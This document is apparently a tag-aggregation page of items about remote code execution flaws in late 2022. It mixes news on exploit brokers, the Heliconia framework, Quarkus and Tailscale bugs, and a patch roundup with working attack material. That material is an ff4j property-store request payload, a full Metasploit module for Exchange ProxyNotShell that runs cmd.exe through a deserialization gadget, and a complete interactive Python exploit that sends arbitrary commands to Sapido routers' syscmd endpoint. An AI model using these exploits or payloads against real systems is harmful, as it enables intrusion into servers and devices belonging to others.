ff4j 1.8.1 is vulnerable to Remote Code Execution (RCE).

ff4j can be use to call any constructors in the project or jvm.  
it would raise an error after constructor call and give an error in response.

    File: https://github.com/ff4j/ff4j/blob/master/ff4j-core/src/main/java/org/ff4j/property/util/PropertyFactory.java
    Function: public static Property<?> createProperty(String pName, String pType, String pValue, String desc, Set < String > fixedValues)
    Line:163 and 164
    

    git clone https://github.com/ff4j/ff4j-samples.git
    cd spring-boot-2x/ff4j-sample-springboot2x
    mvn spring-boot:run
    

    PUT /api/ff4j/propertyStore/properties/test HTTP/1.1
    Host: 127.0.0.1
    Content-Type: application/json
    accept: application/json
    Content-Length: 111
    
    { "name": "test", "description": null, "type": "org.springframework.core.io.support.ResourcePropertySource", "value": "http://example/index.html"}

CVE-2022-44262: CVE-2022-44262 · Issue #624 · ff4j/ff4j

This Metasploit module chains two vulnerabilities on Microsoft Exchange Server that, when combined, allow an authenticated attacker to interact with the Exchange Powershell backend (CVE-2022-41040), where a deserialization flaw can be leveraged to obtain code execution (CVE-2022-41082). This exploit only supports Exchange Server 2019. These vulnerabilities were patched in November 2022.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::CmdStager  include Msf::Exploit::Remote::HTTP::Exchange  include Msf::Exploit::Remote::HTTP::Exchange::ProxyMaybeShell  include Msf::Exploit::EXE  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Microsoft Exchange ProxyNotShell RCE',        'Description' => %q{          This module chains two vulnerabilities on Microsoft Exchange Server          that, when combined, allow an authenticated attacker to interact with          the Exchange Powershell backend (CVE-2022-41040), where a          deserialization flaw can be leveraged to obtain code execution          (CVE-2022-41082). This exploit only support Exchange Server 2019.          These vulnerabilities were patched in November 2022.        },        'Author' => [          'Orange Tsai', # Discovery of ProxyShell SSRF          'Spencer McIntyre', # Metasploit module          'DA-0x43-Dx4-DA-Hx2-Tx2-TP-S-Q', # Vulnerability analysis          'Piotr Bazydło', # Vulnerability analysis          'Rich Warren', # EEMS bypass via ProxyNotRelay          'Soroush Dalili' # EEMS bypass        ],        'References' => [          [ 'CVE', '2022-41040' ], # ssrf          [ 'CVE', '2022-41082' ], # rce          [ 'URL', 'https://www.zerodayinitiative.com/blog/2022/11/14/control-your-types-or-get-pwned-remote-code-execution-in-exchange-powershell-backend' ],          [ 'URL', 'https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/' ],          [ 'URL', 'https://doublepulsar.com/proxynotshell-the-story-of-the-claimed-zero-day-in-microsoft-exchange-5c63d963a9e9' ],          [ 'URL', 'https://rw.md/2022/11/09/ProxyNotRelay.html' ]        ],        'DisclosureDate' => '2022-09-28', # announcement of limited details, patched 2022-11-08        'License' => MSF_LICENSE,        'DefaultOptions' => {          'RPORT' => 443,          'SSL' => true        },        'Platform' => ['windows'],        'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],        'Privileged' => true,        'Targets' => [          [            'Windows Dropper',            {              'Platform' => 'windows',              'Arch' => [ARCH_X64, ARCH_X86],              'Type' => :windows_dropper            }          ],          [            'Windows Command',            {              'Platform' => 'windows',              'Arch' => [ARCH_CMD],              'Type' => :windows_command            }          ]        ],        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],          'AKA' => ['ProxyNotShell'],          'Reliability' => [REPEATABLE_SESSION]        }      )    )    register_options([      OptString.new('USERNAME', [ true, 'A specific username to authenticate as' ]),      OptString.new('PASSWORD', [ true, 'The password to authenticate with' ]),      OptString.new('DOMAIN', [ false, 'The domain to authenticate to' ])    ])    register_advanced_options([      OptEnum.new('EemsBypass', [ true, 'Technique to bypass the EEMS rule', 'IBM037v1', %w[IBM037v1 none]])    ])  end  def check    @ssrf_email ||= Faker::Internet.email    res = send_http('GET', '/mapi/nspi/')    return CheckCode::Unknown if res.nil?    return CheckCode::Unknown('Server responded with 401 Unauthorized.') if res.code == 401    return CheckCode::Safe unless res.code == 200 && res.get_html_document.xpath('//head/title').text == 'Exchange MAPI/HTTP Connectivity Endpoint'    # actually run the powershell cmdlet and see if it works, this will fail if:    #   * the credentials are incorrect (USERNAME, PASSWORD, DOMAIN)    #   * the exchange emergency mitigation service M1 rule is in place    return CheckCode::Safe unless execute_powershell('Get-Mailbox')    CheckCode::Vulnerable  rescue Msf::Exploit::Failed => e    CheckCode::Safe(e.to_s)  end  def ibm037(string)    string.encode('IBM037').force_encoding('ASCII-8BIT')  end  def send_http(method, uri, opts = {})    opts[:authentication] = {      'username' => datastore['USERNAME'],      'password' => datastore['PASSWORD'],      'preferred_auth' => 'NTLM'    }    if uri =~ /powershell/i && datastore['EemsBypass'] == 'IBM037v1'      uri = "/Autodiscover/autodiscover.json?#{ibm037(@ssrf_email + uri + '?')}&#{ibm037('Email')}=#{ibm037('Autodiscover/autodiscover.json?' + @ssrf_email)}"      opts[:headers] = {        'X-Up-Devcap-Post-Charset' => 'IBM037',        # technique needs the "UP" prefix, see: https://github.com/Microsoft/referencesource/blob/3b1eaf5203992df69de44c783a3eda37d3d4cd10/System/net/System/Net/HttpListenerRequest.cs#L362        'User-Agent' => "UP #{datastore['UserAgent']}"      }    else      uri = "/Autodiscover/autodiscover.json?#{@ssrf_email + uri}?&Email=Autodiscover/autodiscover.json?#{@ssrf_email}"    end    super(method, uri, opts)  end  def exploit    # if we're doing pre-exploit checks, make sure the target is Exchange Server 2019 because the XamlGadget does not    # work on Exchange Server 2016    if datastore['AutoCheck'] && !datastore['ForceExploit'] && (version = exchange_get_version)      vprint_status("Detected Exchange version: #{version}")      if version < Rex::Version.new('15.2')        fail_with(Failure::NoTarget, 'This exploit is only compatible with Exchange Server 2019 (version 15.2)')      end    end    @ssrf_email ||= Faker::Internet.email    case target['Type']    when :windows_command      vprint_status("Generated payload: #{payload.encoded}")      execute_command(payload.encoded)    when :windows_dropper      execute_cmdstager({ linemax: 7_500 })    end  end  def execute_command(cmd, _opts = {})    xaml = Nokogiri::XML(<<-XAML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root      <ResourceDictionary        xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"        xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"        xmlns:System="clr-namespace:System;assembly=mscorlib"        xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">        <ObjectDataProvider x:Key="LaunchCalch" ObjectType="{x:Type Diag:Process}" MethodName="Start">          <ObjectDataProvider.MethodParameters>            <System:String>cmd.exe</System:String>            <System:String>/c #{cmd.encode(xml: :text)}</System:String>          </ObjectDataProvider.MethodParameters>        </ObjectDataProvider>      </ResourceDictionary>    XAML    identity = Nokogiri::XML(<<-IDENTITY, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root      <Obj N="V" RefId="14">        <TN RefId="1">        <T>System.ServiceProcess.ServiceController</T>          <T>System.Object</T>        </TN>        <ToString>Object</ToString>        <Props>          <S N="Name">Type</S>          <Obj N="TargetTypeForDeserialization">            <TN RefId="1">              <T>System.Exception</T>              <T>System.Object</T>            </TN>            <MS>              <BA N="SerializationData">                #{Rex::Text.encode_base64(XamlLoaderGadget.generate.to_binary_s)}              </BA>            </MS>          </Obj>        </Props>        <S>          <![CDATA[#{xaml}]]>        </S>      </Obj>    IDENTITY    execute_powershell('Get-Mailbox', args: [      { name: '-Identity', value: identity }    ])  endendclass XamlLoaderGadget < Msf::Util::DotNetDeserialization::Types::SerializedStream  include Msf::Util::DotNetDeserialization  def self.generate    from_values([      Types::RecordValues::SerializationHeaderRecord.new(root_id: 1, header_id: -1),      Types::RecordValues::SystemClassWithMembersAndTypes.from_member_values(        class_info: Types::General::ClassInfo.new(          obj_id: 1,          name: 'System.UnitySerializationHolder',          member_names: %w[Data UnityType AssemblyName]        ),        member_type_info: Types::General::MemberTypeInfo.new(          binary_type_enums: %i[String Primitive String],          additional_infos: [ 8 ]        ),        member_values: [          Types::Record.from_value(Types::RecordValues::BinaryObjectString.new(            obj_id: 2,            string: 'System.Windows.Markup.XamlReader'          )),          4,          Types::Record.from_value(Types::RecordValues::BinaryObjectString.new(            obj_id: 3,            string: 'PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35'          ))        ]      ),      Types::RecordValues::MessageEnd.new    ])  endend

Microsoft Exchange ProxyNotShell Remote Code Execution

The framework has ties back to a Spanish exploit broker called Variston IT, and offers a one-stop shop for compromising Chrome, Defender and Firefox.

Google's Threat Analysis Group (TAG) has discovered a cyberattack framework dubbed Heliconia, built to exploit zero-day and n-day vulnerabilities in Chrome, Firefox, and Microsoft Defender. It likely has connections to a gray-market spyware broker called Variston IT, which highlights how this shadowy segment is flourishing.

The Heliconia threat consists of three modules:

*   Heliconia Noise for compromising the Chrome browser, escaping the sandbox, and installing malware;
*   Heliconia Soft, a Web framework that deploys a PDF containing a Windows Defender exploit for CVE-2021-42298 that allows privilege escalation to SYSTEM and remote code execution (RCE);
*   And the Heliconia Files package which contains a fully documented Firefox exploit chain for Windows and Linux, including CVE-2022-26485 for RCE.

TAG became aware of the threat after receiving an anonymous submission to the Chrome bug reporting program. Upon further investigation, the Heliconia framework's source code was found to contain a script that points back to Variston IT, a Barcelona-headquartered entity that claims to provide "custom security solutions."

Commercial spyware is often sold by organizations claiming to be legitimate companies, for "use by law enforcement." However, mounting evidence shows that too often, these brokers don't vet their clients, "putting advanced surveillance capabilities in the hands of governments who use them to spy on journalists, human rights activists, political opposition and dissidents," according to a TAG posting on Wednesday.

Researchers noted that Variston IT is firmly in the middle of this proliferating market — a space that has seen sanctioning by the United States and others against organizations like the infamous NSO Group, creator of the Pegasus spyware.

"The commercial surveillance industry is thriving and has expanded significantly in recent years, creating risk for Internet users around the globe," TAG researchers added. "While surveillance technology may be legal under national or international laws, they are often used in harmful ways to conduct digital espionage against a range of groups."

So far, none of the modules has been seen in current attacks in the wild, but TAG researchers noted that they've likely been deployed in the past, including using the exploits they contain as zero-days before they were fixed.

Google TAG Warns on Emerging Heliconia Exploit Framework for RCE

Signal messaging app zero-day vulnerabilities have sparked a $1.5M bidding match, as gray-market exploit brokers flourish in today's geopolitical climate.

Gray-market exploit brokers are alive and kicking, with the latest sign of this flourishing market coming in the form of a bidding war for Signal messaging app zero-days from a relatively new entrant. 

Russia-based OpZero went on the record recently with a $1.5 million offer for Signal remote code execution (RCE) exploits, more than tripling the relatively stable high-water mark for that app offered by American firm Zerodium.

Cybersecurity experts say that this particular bidding war indicates the Russian government's desperation to gain surveillance capabilities over Ukrainians utilizing Signal to communicate. But the price movement on this front also offers a microcosmic look into the broader reliance of gray-market customers (most typically governments) on intermediary brokers.

**The Shadowy "Gray Hat" World of Cybersecurity Exploit Brokers

These brokers are sometimes independent dealers, other times thinly cloaked fronts for nation-state intelligence agencies, who buy from security researchers interested in cashing in on their exploit work. 

The market works on an "ask me no questions, and I'll tell you no lies" basis, researchers say. Brokers have no scruples in working with both white- and black-hat security experts — and exploit developers don't ask how or by whom their exploits will be used. The arrangements put this market in a swampy middle ground between the vendor-oriented, highly structured vulnerability bug-bounty market and the chaotic and overtly criminal dealings of the Dark Web, dominated by black hats.

"Exploit brokers function as market makers by contracting with suppliers (security researchers) managing an inventory of exploits, and selling to buyers (actors who deploy offensive cyber-operations)," according to a recent paper on the gray-market exploit world presented at the 21st Workshop on the Economics of Information Security (WEIS’22) in Tulsa, Okla., earlier this year. 

"In doing so, brokers can more efficiently manage transaction costs relative to suppliers and buyers directly contracting with each other. Additionally brokers provide a layer of insulation against reputation and legal fallout," the paper explained, adding that the price of exploits has grown by 1,240% over the last six years in the gray market.

****War in Ukraine Sparks Signal Exploit Bidding War**

Perhaps one of the most public and prolific players in the market is Zerodium, an American firm with an obscured customer list of "government institutions mainly from Europe and North America," according to the company's FAQ. 

The firm offers as much as $2 million for iOS flaws and presents many public offers for exploits in a range of operating systems and applications. The company has had a standing offer since 2017 of "up to" $500,000 for exploits of Signal and other social messaging apps, including Facebook Messenger, WhatsApp, and Telegram.

The entrance of OpZero into this mix with an offer of three times that amount, which has experts such as security researcher The Grugq postulating that the company is a stand-in for Russian intelligence services that are "desperate" for Android and Signal exploits.

"Android has an almost 80% market share in Ukraine, and Signal has over 2 million daily active users," The Grugq recently wrote. "Android phones with Signal are robust security platforms. They’re not military equipment, but they’re perfectly capable of providing protection against a wide range of security threats. Including nation state level threat actors. Russia appears to be lacking an Android or Signal capability."

New Exploit Broker on the Scene Pays Premium for Signal App Zero-Days

Zenario CMS 9.3.57186 is vulnerable to RCE.

**Zenario CMS is vulnerable to Remote Code Execution (RCE).**

Critical severity GitHub Reviewed Published Nov 30, 2022 • Updated Dec 2, 2022

GHSA-4p38-rc98-cr39: Zenario CMS is vulnerable to Remote Code Execution (RCE).

Zenario CMS 9.3.57186 is vulnerable to Remote Code Excution (RCE).

Download: zenario-probusiness-9.3.57186.zip

I found a bug very critical in Zenar CMS version 9.3.

Below are steps to reproduce the bug

1.  Create file shell php

1.  Check shell

**If you have any questions, please feel free to ask.**

CVE-2022-44136: Unauthent RCE in Zenar.io~9.3

Red Hat has issued patches for a bug in an open source Java virtual machine software that opens the door to drive-by localhost attacks. Patch now, as it's easy for cyberattackers to exploit.

A critical remote code execution (RCE) bug in an open source Java virtual machine (JVM) framework threatens enterprise environments by giving attackers an easy way to compromise development teams — thus gaining access to production systems.

That's according to Joseph Beeton, senior application security researcher at Contrast Security, who discovered the vulnerability in Quarkus, a Red Hat-managed, Kubernetes-native Java framework that's optimized for JVMs.

The bug is tracked as CVE-2022-4116 and has been given a rating of 9.8 on the CVSS.

The relatively new Quarkus framework is used as a platform for serverless, cloud, and Kubernetes environments — the last of which is the de facto container management platform for cloud-native environments, and has had numerous security issues of its own.

The Quarkus flaw is present in the framework's Dev UI Config Editor, making it vulnerable to drive-by localhost attacks that could lead to RCE, Beeton wrote in a blog post published Nov. 29. Moreover, "exploiting the vulnerability isn’t difficult, and can be done by a malicious actor without any privileges," he noted in the post.

Beeton discovered the vulnerability some weeks ago while preparing a talk for the recently held DeepSec conference, but says that he waited to disclose his findings until after Red Hat published details of the flaw on its customer support portal Nov. 21. Beeton also published a proof of concept exploit for CVE-2022-4116 in his post.

Patched versions of Quarkus, available now, are 2.14.2.Final and 2.13.5.Final (LTS); anyone using the framework is encouraged to update immediately.

**'Dangerous' Security Flaw**

The vulnerability affects the "quarkus\_dev\_ui" package, according to Red Hat, which means it impacts developers building services using Quarkus, not actual services running in production.

However, it's still dangerous for several reasons — for one because it's fairly easy to exploit, and for another because developers often have direct access to an enterprise's production environment, Beeton tells Dark Reading.

"Developers generally have access to production systems, and even if they don't, they do have the ability to make code changes," he says. "A compromised developer's machine could be leveraged to push malicious code changes to production.”

For example, if a developer running Quarkus locally visits a website with malicious JavaScript, that JavaScript can silently execute code on the developer’s machine, which can lead to all kinds of trouble on any network or assets attached to it.

In enterprise cloud-based environments, developers also often have to code bases, Amazon Web Services keys, server credentials, and other assets, Beeton said in his posting.

"Access to the developer's machine gives an attacker a great deal of scope to pivot to other resources on the network, as well as to modify or to flat-out steal the codebase," he wrote.

**The Bug in a Cloud-Security Context**

The flaw must be understood in the context of cloud-based footprints that have numerous hosted services running in a larger environment, Beeton explained. One misconception about this type of architecture is that "services that are only bound to localhost are not accessible from the outside world," he noted in his post.

"Because of this misplaced belief, developers, for the sake of convenience, will run services they are developing that are configured in a less secure way compared with how they would \[typically\] do it," he wrote.

There's no problem with this scenario in the case of accessing normal JavaScript in a browser and loaded from a nonmalicious domain, he said. In that case, the JavaScript would not be able to make requests to other domains, including localhost, without a preflight request that is used to check the server's Cross-Origin Resource Sharing (CORS) settings. This is a standard check to see if the server allows requests from the domain being accessed.

However, in the case of a certain type of request that does not require a preflight request — called Simple Requests — the flaw comes into play, Beeton said.

"For a Simple Request, the browser makes the request, receives the response, but that data — including the HTTP Status Code — is not returned to JavaScript," he wrote. "It is possible, however, to infer whether the request was successful based on how long it took to return. Within those constraints, it is possible to access localhost and, in certain circumstances, to trigger arbitrary code execution."

**Multiple Ways Developers Can Be Targeted**

If this is the case, threat actors can compromise websites that developers use by injecting malicious JavaScript into ads served on the sites. For an attack on the Quarkus flaw to be successful in this scenario, someone who is running Quarkus in developer mode would have to visit a website containing the malicious JavaScript, Beeton said.

In this way, attackers can access developer code via non preflighted HTTP requests to those services bound to localhost, he explained.

"It just requires that Quarkus is running in developer mode at the same point the browser tab is open," he noted. "No other interaction is required for this vulnerability to be exploited."

Attackers also can exploit the flaw by launching a phishing attack that convinces a developer to open a web browser on a compromised page. "If they happen to be running Quarkus in developer mode, compromising them would merely entail getting them to click the link; the page containing malicious JavaScript will then be loaded, and they would be compromised," Beeton explained.

Other ways the flaw can be exploited are through common misconfigurations in the Spring framework, which provides a comprehensive programming and configuration model for modern Java-based enterprise applications, he said. Alternatively, an attacker can exploit known vulnerabilities to generate an RCE on the developer's machine or on other services on their private network.  

**Potential Impact and Fix**

There are two bits of good news surrounding the status of the flaw, Beeton acknowledged. One is that Red Hat's Quarkus team, as mentioned before, already has issued a fix that requires the Dev UI to check origin headers for "origin : localhost" — which is set by the browser itself and not modifiable by JavaScript — and only accept these requests, he said.

The other reassuring aspect is that Quarkus is a young framework, having been launched in 2019, so it's not likely to be used as extensively as, say, the open-source Spring Boot framework, he said.

And while Quarkus is gaining in popularity, particularly for Kubernetes enthusiasts, "given its ease of use and significantly lighter demand on hardware resources to run and to run applications," it still is not as widely used as Kubernetes itself, Beeton said.

"Therefore, the number of developers affected by this drive-by localhost attack is probably small," he said.

**Squashing the Attack Vector**

Even with the Quarkus flaw fixed, developers using open-source frameworks still should be wary as they develop services via the localhost, as there are likely more vulnerabilities equivalent to CVE-2022-4116 that have yet to be found, Beeton warned.

A solution for the entire attack vector is on the horizon with W3C’s new Private Network Access (PNA) specification, which eventually will be integrated into browsers to squash this mode of exploit altogether, he said.

Currently, however, only the team supporting the Chromium framework — the basis for the Chrome and Edge browsers — is actively working to implement the new spec, Beeton said. In fact, the targeted mid-December release of Chrome 109 should include support for PNA.

Firefox, meanwhile, has PNA support on its backlog, but has not yet scheduled a release date, while plans to add the spec to Safari or Edge remain unclear, though the Chromium update may bode well for its upcoming addition in Edge, he added.

Critical Quarkus Flaw Threatens Cloud Developers With Easy RCE

A vulnerability was found in Sapido BR270n, BRC76n, GR297 and RB1732 and classified as critical. Affected by this issue is some unknown functionality of the file ip/syscmd.htm. The manipulation leads to os command injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-214592.

Permalink

#!/usr/bin/python3

\# -\*- coding: utf-8 -\*-

#fofa dork: app="Sapido-路由器"

'''

Affect versions:

BR270n-v2.1.03

BRC76n-v2.1.03

GR297-v2.1.3

RB1732-v2.0.43

'''

#Author 9527

import requests

import sys

import os

import platform

from bs4 import BeautifulSoup

from requests.packages.urllib3.exceptions import InsecureRequestWarning

def Checking():

headers \= {

"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0"

}

try:

Url \= target + "syscmd.htm"

response \= requests.get(url \= Url,headers \= headers,verify \= False,timeout \= 10)

if(response.status\_code \== 200 and 'System Command' in response.text):

print("\[+\] Target is vuln")

return True

else:

print("\[-\] Target is not vuln")

response.close()

return False

except Exception as e:

print("\[-\] Server error")

response.close()

return False

def Exploit():

headers \= {

"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0",

"Accept-Encoding": "gzip, deflate",

"Content-Type": "application/x-www-form-urlencoded",

"Origin": target,

"Referer": target + "syscmd.htm"

}

while True:

command \= input('# ')

if(command \== 'cls'):

if(Os\_Name \== 'Windows'):

os.system("cls")

continue

if(Os\_Name \== 'Linux'):

os.system('clear')

continue

else:

pass

if(command \== 'exit'):

print("\[!\] User exit")

response.close()

sys.exit()

if(command \== 'help'):

print("cls: clean the screen")

print("exit: exit this program")

continue

data \= "sysCmd=" + command + "&apply=Apply&submit-url=%2Fsyscmd.htm&msg=boa.conf%0D%0Amime.types%0D%0A"

Url \= target + "boafrm/formSysCmd"

try:

response \= requests.post(url \= Url,data \= data,headers \= headers,verify \= False,timeout \= 10)

if(response.status\_code \== 200):

#print(response.text)

soup \= BeautifulSoup(response.text,'html.parser')

CmdShow \= soup.textarea.text

print(CmdShow)

else:

print("\[-\] Failed")

response.close()

sys.exit()

except Exception as e:

response.close()

print("\[-\] Some error happend to you")

if \_\_name\_\_ \== '\_\_main\_\_':

if(len(sys.argv) < 2):

print("|-----------------------------------------------------------------------------------|")

print("| Sapido-router Rce |")

print("| UseAge: python3 exploit.py target |")

print("| Example: python3 exploit.py https://192.168.1.2/ |")

print("| \[!\] Learning only |")

print("|\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_|")

sys.exit()

target \= sys.argv\[1\]

requests.packages.urllib3.disable\_warnings(category\=InsecureRequestWarning)

while Checking() is True:

Os\_Name \= platform.system()

Exploit()

CVE-2021-4242: Sapido--rce/Sapido路由器-rce.py at main · smallpiggy/Sapido--rce

Users should manually update to the latest version now

Users should manually update to the latest version now

  

UPDATED A series of flaws in Tailscale, an open source mesh virtual private network (VPN) software, could allow attackers to stage remote code execution (RCE) attacks against VPN nodes.

Tailscale depends on multiple services. The main process, called tailscaled, does the work of connecting nodes and sending/receiving packets.

There is a separate process that provides a user interface and a tray icon to configure and monitor the services. This front-end interface communicates with the tailscaled service through an HTTP API called .

**From DNS rebinding to control plane takeover**

If a malicious website tries to send a JavaScript command to the Tailscale LocalAPI, the browser’s Same-Origin policy will prevent it.

However, according to the findings of security researcher Emily Trau and Jamie McClymont, if the attacker manages to perform a DNS rebinding attack on the Tailscale node, they will be able to map their malicious domain to the local IP and send arbitrary commands to the .

“Rebinding is a bug with very niche applicability (HTTP services listening on private networks with no explicit authentication), usually discussed in the context of IoT devices,” McClymont told The Daily Swig. “It’s the type of thing there are talks about it at hacker conferences and such, and yet I’ve never encountered a situation where it’s exploitable during a pentest job.”

The does not authenticate client requests aside from verifying that they’re coming from the same user that is running the Tailscale GUI.

The malicious website can exploit this feature to change the Tailscale “control plane” to an arbitrary server. The “control plane” is the server that stores the public keys of the VPN nodes (also called the tailnet).

**In a tailspin**

As the tailnet administrator, the attacker can now enable Taildrop, a feature that allows users to send files between their devices on a Tailscale network.

Using Taildrop, the attacker can then send an arbitrary executable to the victim’s desktop without marking it as originating from the web, which means Tailscale will be able to launch it without requiring user interaction.

To execute the payload, the attacker can use another feature of the control plane, which demands the Tailscale node to reauthenticate itself when trying to perform a privileged action. The re-authentication prompt includes an address that is forwarded to the GUI and runs it in the browser.

To run the file, the attacker will need to have its full path, which requires knowledge of the victim’s username. To obtain the victim’s username, the attacker can prompt for an SMB path through the Tailscale network. This will send the Windows username to the attacker-controlled tailnet server.

“For the Windows RCE chain, you just need to click a link to an attacker-controlled webpage, or for the malicious Javascript to be served up to you some other way (e.g. malicious JS embedded in an ad on a legit site, or an XSS bug in legit site being exploited to add the malicious code),” McClymont said.

If you were running a stable Tailscale version, the exploit will lie dormant until you next restart Tailscale or reboot your machine, at which point the RCE happens.

“You could argue this is still zero interaction since Windows Update will automatically reboot without interaction eventually,” McClymont said. “If you had the unstable pre-release Tailscale version from right before we found the bugs, we could trigger the exploit immediately without waiting for a reboot.”

**A catch on DNS rebinding**

A recent modification to the policy forbids rebinding a site that was hosted on a public IP to a private IP space. This prevents the attacker from rebinding an internet-hosted malicious website to a local IP address.

But it is still applicable if the attacker is on the same network as the victim. Also, the Firefox browser does not apply the private network address restriction, which makes it vulnerable to internet-hosted attacks.

Moreover, Trau found that PeerAPI, another Tailscale component, runs on the 100.100.100.100 IP and was vulnerable to rebinding, which would give the attacker another pathway to .

Also, if the attacker sends multiple files to the victim’s device through Taildrop, some of them will fail to reach their destination and will remain in a temporary location that is reachable through web calls without private network access restrictions.

Trau published a proof-of-concept video of the attack. Windows machines are especially vulnerable to different variations of the attack. Other operating systems can also be exploited under special circumstances.

The issues have been solved in the latest version of Tailscale. Since Tailscale does not automatically update itself, users should make sure they are running v1.32.3 or later.

“If you’re running HTTP services over Tailscale which rely on Tailscale for authentication (they don’t have their own login page etc.), you need to harden them against rebinding attacks, either by allowlisting Host headers or by running those services only on HTTPS,” McClymont said.

This article has been updated to include comment from researchers.

RECOMMENDED Intel disputes seriousness of Data Centre Manager authentication flaw

Tailscale VPN nodes vulnerable to DNS rebinding, RCE

Plus: Major patches dropped this month for Chrome, Firefox, VMware, Cisco, Citrix, and SAP.

November saw the release of patches from the likes of Apple’s iOS, Google Chrome, Firefox, and Microsoft Windows to fix multiple security vulnerabilities. Some of these issues are pretty severe, and several have already been exploited by attackers. 

Here’s what you need to know about all the important updates released in the past month.

Apple iOS and iPadOS 16.1.1

Apple has released iOS and iPadOS 16.1.1, which the iPhone maker recommends all users apply. The patch fixes two security vulnerabilities—and given the speed of the release, you can assume they are pretty serious. 

Tracked as CVE-2022-40303 and CVE-2022-40304, the two flaws in the libxml2 software library could allow an attacker to execute code remotely, according to Apple’s support page. The issues were both reported by security researchers working for Google’s Project Zero. 

For Mac users, the flaws were addressed by macOS Ventura 13.0.1.

The good news is, it’s believed neither vulnerability has been exploited by attackers, but it’s still a good idea to apply the update as soon as possible. 

Microsoft Windows

Microsoft’s November Patch Tuesday was another big release, seeing the Windows maker fix 68 vulnerabilities, four of which were zero days. 

Tracked as CVE-2022-41073, the first is a Windows print spooler elevation of privilege vulnerability that could allow a cybercriminal to gain system privileges. Meanwhile, CVE-2022-41125 is a Windows Cryptographic Next Generation key isolation issue that could allow an adversary to escalate privileges and gain control of the system. CVE-2022-41128 is a Windows scripting language vulnerability that could result in remote code execution. Lastly, CVE-2022-41091 is a vulnerability in Microsoft’s Mark of the Web security feature.

Google Android

More big updates for users of Google’s Android devices have arrived in November, with Google issuing patches for multiple vulnerabilities, some of which are serious. At the top of the list is a high-severity vulnerability in the Framework component that could lead to local escalation of privilege, Google said in a security advisory.

The patches in November include two Google Play system updates for issues impacting the Media Framework components (CVE-2022-2209) and WiFi (CVE-2022-20463). Google also fixed five issues affecting its Pixel devices.

The Android updates have started to roll out to Samsung devices, including third- and fourth-generation Galaxy foldables. You can check for the update in your Settings. 

Google Chrome 

The world’s most popular browser continues to be a major target for attackers, with Google this month fixing its eighth zero-day vulnerability this year. 

The vulnerability, tracked as CVE-2022-4135, is a heap buffer overflow in GPU reported by Clement Lecigne, a researcher in Google's own threat analysis group. Google said it “is aware that an exploit for CVE-2022-4135 exists in the wild.”

Earlier in the month, Google issued an update to fix 10 Chrome vulnerabilities, six of which are rated as high-severity. These include four use-after-free bugs: CVE-2022-3885, CVE-2022-3886, CVE-2022-3887, and CVE-2022-3888. Meanwhile, CVE-2022-3889 is a “type confusion” issue in V8, and CVE-2022-3890 is a heap buffer overflow in Crashpad. 

Mozilla Firefox

November was also a big month for Google Chrome competitor Firefox. Mozilla has issued Firefox 107, fixing 19 security vulnerabilities, eight of which are marked as having a high impact. 

One of the most important patches is for CVE-2022-45404, a full-screen notification bypass that could allow an attacker to cause a window to go full-screen without the user seeing the notification prompt. This could result in spoofing attacks. Meanwhile, several use-after-free bugs could lead to an exploitable crash, and one flaw could be exploited to run arbitrary code.

VMWare

Software maker VMWare has released security fixes for multiple security vulnerabilities in its VMware Workspace ONE Assist, three of which have a CVSSv3 base score of 9.8. The first, CVE-2022-31685, is an authentication bypass vulnerability. “A malicious actor with network access to Workspace ONE Assist may be able to obtain administrative access without the need to authenticate to the application,” VMWare warned in an advisory.

A broken authentication method vulnerability tracked as CVE-2022-31686 could enable a malicious actor with network access to obtain admin access without the need to authenticate.

Tag

#rce